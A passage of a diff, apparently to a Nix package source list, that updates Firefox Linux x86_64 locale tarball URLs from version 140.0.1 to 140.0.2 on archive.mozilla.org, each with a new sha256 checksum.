+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/eo/firefox-140.0.2.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "42bdd9757f9f84725e01e2e32ec75ae070c90292887dcc5e481fd56f5f194c56";
+      sha256 = "bc8515c4d88f75fa9241af9e21cf6748eec8859401dda872aa7f14993433a0d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-AR/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-AR/firefox-140.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "78858254a6c348a63d42aff649ee6df46058d587072b7ec08c64b43cf71739a2";
+      sha256 = "dcb01e7b7071b9d29fc81205b5cd8c11d7c6802186e77aa656e0dfe3491523cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-CL/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-CL/firefox-140.0.2.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "d1da5214ee81bfe48d55432b57befbb3ef9f20109e187083efe88c1e4aaa242e";
+      sha256 = "d3918ab7c29edf8c61a4c69a863e1330f7e51039bd8a96038ad0d65db73f7d07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-ES/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-ES/firefox-140.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "c75e608e9f24c695f095c338671df7de46c17554e2a5fa58516db5289148885d";
+      sha256 = "999de873f455860c8912e18401347f4156f91b0da3779122eee98473af400c9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/es-MX/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/es-MX/firefox-140.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "170a97c087aeab76ab8d9ab660259e5477e312bc0bf8cf481ce773534c22fa6d";
+      sha256 = "e4a0bcfbaecb78b99eb8f9c651b536b1db2189268e218c32408fd9db7dee7e93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/et/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/et/firefox-140.0.2.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "96950653c0d8f61a7e623135e68562846cc692aac218bf0b7411d37807837a45";
+      sha256 = "3f48c7f1c94fcb7186a50ac344adf55ae3fc5b4e9538fc3c3a5bcc79794e6ea3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/eu/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/eu/firefox-140.0.2.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "09f3c8644636d16d6034dd46f381cda7635d373aa6504aba1a85feb0a57aeb43";
+      sha256 = "8d0390f0d5daba9a5a94d2b6a617cfd779c4a94141a14772e9424fb1c50b42f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fa/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fa/firefox-140.0.2.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "ff54af504fee501e6f662cd9a39ebc6e129a82b64d067ee3217d88e379fb6e9d";
+      sha256 = "368331431ed1825a3351889e7b9c50a9e22009f5d2310e787d15ea84e98d707a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ff/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ff/firefox-140.0.2.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "e89f9c1f638bbde6b9e75fda6468f3c0ef68e8104bb546e48c934ae2705d3ba4";
+      sha256 = "4984d768f622c23bd8f8daacdf5ccccd0b5e1bf02056df24e77d1a4c31e88ffd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fi/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fi/firefox-140.0.2.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "6abf7a1b0e15f5ce85d8c99cdf96a448fd1e1774e1e31b599cf49bfcb71dd4a4";
+      sha256 = "3fc303b3c69d6d1f6e359aef31fc045c477318533a2c468dfc35b675d545b54c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fr/firefox-140.0.2.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "d63ec8cdec98d277acec8b633bd3ca45586fd0707d45177f22e3eef1530c6b21";
+      sha256 = "61f78b729cfab9c0de14946c9f9d792efcedf410efd771651ff819f6fe233903";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fur/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fur/firefox-140.0.2.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "ef001f0bf457348dccf127d38c2563daab0f92c6e5db1feb53ea97e89c9094f6";
+      sha256 = "2fa4e5b3dc3d402ffcce9eb0d39ec96fd15ad17534a61d8d8ebb54454cf637a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/fy-NL/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/fy-NL/firefox-140.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "7ed13a8bf94916e9f9477ea8818ab027c487ff05d6fb0bc689329a0439660129";
+      sha256 = "7c67c4eb2f2c1f7c2740a196036ebdd223e8ecf3502c36bd530383915bc9bc6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ga-IE/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ga-IE/firefox-140.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "660c1ba4e4d94affea5750ffd4ce824ab52a0482cc572a017dbf3df9773f5f2f";
+      sha256 = "05b8aa663b4a42732af808270b473cacd331d3dc9bf62c6db2b58d0353cda961";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gd/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gd/firefox-140.0.2.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "9617ed0706c021d31af9a5d7e5f7bb24b977b7280065c987172010837f840cd1";
+      sha256 = "1d5242d61ecf20c9808099be96fbc3f519afef972396f78d27bb95e13cea0563";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gl/firefox-140.0.2.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "c805d50f128f6b63105f6ab512ed9c75815b075f5456f0d330e09f2917c87b7f";
+      sha256 = "62238f570bd7b6d04334042655a77e6e3f50e49f68a670d6a6de72239f2d13c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gn/firefox-140.0.2.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "ada99ec81518331833b225bd4d10aca3476f688872fc737bcfee9e2779653c83";
+      sha256 = "72837ce7a4fa32d66574b08a62789d950f142c7dd4dc64e77c5fe1b4a1440e0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/gu-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/gu-IN/firefox-140.0.2.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "792e73559cd4fa55bf6e1d805b212a2326df268d8fb851d17bc984292fe89232";
+      sha256 = "437068e0a89843392e7fca35b7fd4bcd0fcf1cf4349773b96dac837b2fc444f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/he/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/he/firefox-140.0.2.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "b1f7488a0ef829883d6a4c22c14ee67a4d9d504c962b4202d5b515c3a8814bd1";
+      sha256 = "e9e92af20871a0a54eb92b6cbf497e70e5c46aadbd1c7ce311f298cd712d1951";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hi-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hi-IN/firefox-140.0.2.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "782a827721ae1b36cb5fc65127bebf890d09e6bd25215c134b69e8e564c6524e";
+      sha256 = "f2ca0ea65c92a60cf48c9edf573567ef42a74f11a48f75211d3ee08f20782107";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hr/firefox-140.0.2.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "bf84dedcb95a10a6c1c03ff3e2c7566f40d5f4644259004d6d337ea1c2e838cc";
+      sha256 = "31fa2fdd19478e38104916d30cb6979413730e15e05e67c848b883296eecbbf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hsb/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hsb/firefox-140.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "a5853b83c3712428bb1aeb1957c1f14a977327b6b2c9aed17cb0afb4df095a8b";
+      sha256 = "d0c53d3b6f50f82d937ae1ebc136988e52b8d4fe4c1a856a270bead227e18168";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hu/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hu/firefox-140.0.2.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "e743a640439e08ffa4c0841fbda232fc9983c3f7bd5e26fdae3e772b18c2d34f";
+      sha256 = "d1a398d8f68b2802a23ecedc7b13af9ab15a95e29bdcce67b0faa5ddd74a23f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/hy-AM/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/hy-AM/firefox-140.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "6626d4dbe3d8e1040f1011f123e5eaf2a466e28feb3366f4ff139b8498ab1546";
+      sha256 = "ed7d7d3b3afda6713a43616f3bb557109bf111c87000a28883498fab5fc97fe8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ia/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ia/firefox-140.0.2.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "04b4976426e32e507037f9324b30683028e11d9e44d99b094c04bf0679cef709";
+      sha256 = "8d6d4b5bd8a58f09a116d4660cf8c11581dde9eaa3bbfba629dd75680802136f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/id/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/id/firefox-140.0.2.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "dd5ef79b8d2cf86ee3177b803b5ad0e4382f81b9592aa88fe2ad001a8523df81";
+      sha256 = "ae6a44bba8aaf3c90ec7f2c1349e3a0d3dc40d71032f9cdd1766b88cb76c519b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/is/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/is/firefox-140.0.2.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "adef304e916ea3e0d77e6e792052ce34bf7361d517b211cc9b13e74c504ec66e";
+      sha256 = "1e3b8183d4a05f5046b5c3ee88a0d9b10c13a1abcb222d160674f2dc5a8ee644";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/it/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/it/firefox-140.0.2.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "5767277059cbe3e5b2d2d096f165e424fa142c65e0f0ccdc91d5ec9e0bd15a74";
+      sha256 = "fb0037c8da022dbb4d850fbc8115e69e18b5d3abbadb00d99c175b752ea62e2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ja/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ja/firefox-140.0.2.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "105d5b14c7c183ca51c411ef4321690175542c0267d95bb9ce4401e7490fb6d4";
+      sha256 = "0ff7873a842ee5ffb9199cdd8960c9e8e8139eb870c1d6eaeb08b93180ab3e7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ka/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ka/firefox-140.0.2.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "01e4fac64480fc34bd46634d185c40e2c720d9d4223cf693362a7106876e0708";
+      sha256 = "da87492318002a32f7be7dd0a79c9eb1ce2089ba87dc09768170b9ad8386cc7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/kab/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/kab/firefox-140.0.2.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "91d920b8a77426d0bf7cc58a4b97fc4f4bd76bd453500b7162029b8710a13a60";
+      sha256 = "55a193ba40f44363456cb58fbbc4ffcb84c81249e793c9d3b9fb6ceaadc1c206";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/kk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/kk/firefox-140.0.2.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "370c5591dff00f7e97452fcc351ec81d376341335928f7b86bbdae15358f8d83";
+      sha256 = "c84f5ab5051392f785946cc207ff44f3e76a4869de9867de69100ced2f293e05";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/km/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/km/firefox-140.0.2.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "7f230bca1b4de308f27c76fbcabca9e73e6b23abdf9230db565490e1f1a99d8a";
+      sha256 = "8d0430da0846291063e5e76a86ce1e5ce4badd15a29af532ee9093bc24c5e7c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/kn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/kn/firefox-140.0.2.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "b279278917ba7d4c2b8ac17cbf7bc154732ae01779df2bbfbc06bdc7ae829430";
+      sha256 = "a02a1353ae9d415819f8084a5909fe5dbedffac3e163a2d618b78b84b1eb0f17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ko/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ko/firefox-140.0.2.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "dc361845d7b260e7bf704210ca297e7472a8ba9d53bc51f1a2d92ab7761ea59f";
+      sha256 = "06e8914c37157eeaaf0e4ce0500965cd3f5c638b0f6a5dc6c5ecf176e8c0c1af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/lij/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/lij/firefox-140.0.2.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "70369cb8e9e3ec79937722d2c43ec147e8788de3dc90f32c811e6799b85be77b";
+      sha256 = "392a45592535eb509aaffc3d1d34462e3a716d4c76763b5432676fb168e1a719";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/lt/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/lt/firefox-140.0.2.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "325892dc2807acfb517696b3afa103b54d7464527ca87f6191f1b15711590334";
+      sha256 = "8e3d915a0ab0e373ee992112d0dfa360ab8434d3e285097629fbf341a58aa156";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/lv/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/lv/firefox-140.0.2.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "ef104f7e5207549b6ee6f47c16af9b1befac1fdbc29cc9b9ef36ec282cd95a04";
+      sha256 = "041e89dce80beea445dd202466cd901e3ea756e09c88fdad9b8b5dea1fd22651";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/mk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/mk/firefox-140.0.2.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "8a221dd0e42a85a5d2c3ec5ea372fd3a6895a033c4ce6ddc7cd656f463baf482";
+      sha256 = "3ab3afc5e292cd3cfa034944904ea040bde8ae800ac31a325ba8a29fd2e6f02d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/mr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/mr/firefox-140.0.2.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "c851f103d73c7275864b393cb1d60a147fee22cddf9ab2ab185e380c6427d6da";
+      sha256 = "e86a79c31c80a6807a7efa0f5ac5e8ec83a205395049b8f71acd24f86e07bf30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ms/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ms/firefox-140.0.2.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "f18c4b70d417294779aa4c4e69b99e4ecf65eb911d27e1c6118280b0a0f4ef99";
+      sha256 = "7bdcd7a59746930d8af534593e9cffa6b4ea7aa9c9f55e588a9b36848e16f9de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/my/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/my/firefox-140.0.2.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "2bf5b950256022d46e25bb8f4c4c7b6df31e65f6a6470372444f00e4da178d50";
+      sha256 = "9a02d4654aea0a331254fae34ce63d19d32d776b8e7dd878ee739dc1269a288f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/nb-NO/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/nb-NO/firefox-140.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "019532db854cb65ef0cb4e5a3c894f02621ef590abec033c5a880257ac1e5eac";
+      sha256 = "56e556cf8febe6c07430845e42b830034a23bb4495e009446e44c4c589d1e49b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ne-NP/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ne-NP/firefox-140.0.2.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "b8afa6d673cbb0a957251a0e7c30d5790fef5e19bf53ca008faadbc2c014128e";
+      sha256 = "fb30955d8124f7ac413520f977e4523aacaf68f6131a15a51681f3feec37c7db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/nl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/nl/firefox-140.0.2.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "1d347f6b8e8c73e1bc513b58f846d809cbd80ea0c21430c5a866d1197573afa5";
+      sha256 = "e0c0a9fb70336038f1d69a63f7c76a4838b91799f474b98b4fbed33de37e676e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/nn-NO/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/nn-NO/firefox-140.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "be5a86b8cfc902d856ef1c5194f7c27f7b4d19acd1b8b1b18112c88578c09030";
+      sha256 = "46cfd0576574902b949f4c8da49db68ef3c76020a11411609a40a82399e98f52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/oc/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/oc/firefox-140.0.2.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "04039efbbc1b4697a0788ef08aa8afdf23580c6ee5d100be1051c27d680e7d73";
+      sha256 = "94b5918783376bd741fb383ce3bb8a311fd98d433ebfd147854283102bfd2f7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pa-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pa-IN/firefox-140.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "0991c31ae89a10dcee38090412ab39e38a9c15cd07bde14f215d26de23749ec8";
+      sha256 = "ed8bf829691da467f7826b4f94ca339908d75f9f5900006a8339591693e7356b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pl/firefox-140.0.2.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "605030e4757b8a8af5bd7b674bf47911a1b90b0707afe646001e6fbb534c34b9";
+      sha256 = "66e1410b13b95d86534122db96706822ecbc8fcaf0f58630289f732673963b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pt-BR/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pt-BR/firefox-140.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "bbc373ce610c28c75200ea59ec07e9e4a8bbe86dcc879a34453d763278a3cdda";
+      sha256 = "d740579183cc64d4c295602730ab8a3c766774871a82c840498a30528db13183";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/pt-PT/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/pt-PT/firefox-140.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "110bc0276e09cc41e4bae4c197f349a89464bb81b21fd6a8fbbb83925337fca3";
+      sha256 = "0fcb53162dade58f21fda891c67b582dc54abbd230f5ff52731ee7441a14c40b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/rm/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/rm/firefox-140.0.2.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "00c03839d6945dd9051ce4d47a7eb1ff3f3bfc95506a4a2984ec7b363729f0d6";
+      sha256 = "a9107f9abf695219c162c916f3a9b524833a56481e5601a8a991929a92c504ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ro/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ro/firefox-140.0.2.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "a5eccee0999b4417187a5bcdfd825d7f583546105ee846b1ff2eefd2f416b19b";
+      sha256 = "ac9d146306ff772630e69bf4401a1a4132768ce09a2d99d65cde404d57f4347a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ru/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ru/firefox-140.0.2.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "ebef4d919c75f97aa33efc28b00242b33235c82a3e1121189804c793387e3e63";
+      sha256 = "869e9d4bb40782997ca61117adefb2fff9fc65c88a3842a5ea427cbae34f7ab0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sat/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sat/firefox-140.0.2.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "db98176a3860e4c04ecfa0ebbaf2162d5f51f04b5cd1cc89b40d87f0cb5c3aec";
+      sha256 = "f3196ca979279dcce6a77cce8ea5a52bf59173ba739862abb72348601eede52e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sc/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sc/firefox-140.0.2.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "eba74fc0f6a73ffb345a97bbddece9717cab715fa99e9db0e93d0b73e5806645";
+      sha256 = "7e4c790af8176f4402cfa5be91fc5235b917ee4e061a42e36141c907133f6289";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sco/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sco/firefox-140.0.2.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "425a274889826f6687ff98e02843f97045ddd39a5c061babf9871ffb5203bead";
+      sha256 = "2ed21bbbf843179dd49b6f45ec9d92cc71206ff883836bb91ea38e652259df2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/si/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/si/firefox-140.0.2.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "ea0652c77a53cdb9c1ad74aacc460ddf224dc4adc84defaa73daf86bbebd7477";
+      sha256 = "913bd04c526982236f7b36722e9fb9c5e0efe001261dc51a9a458467d0b32cdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/sk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/sk/firefox-140.0.2.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
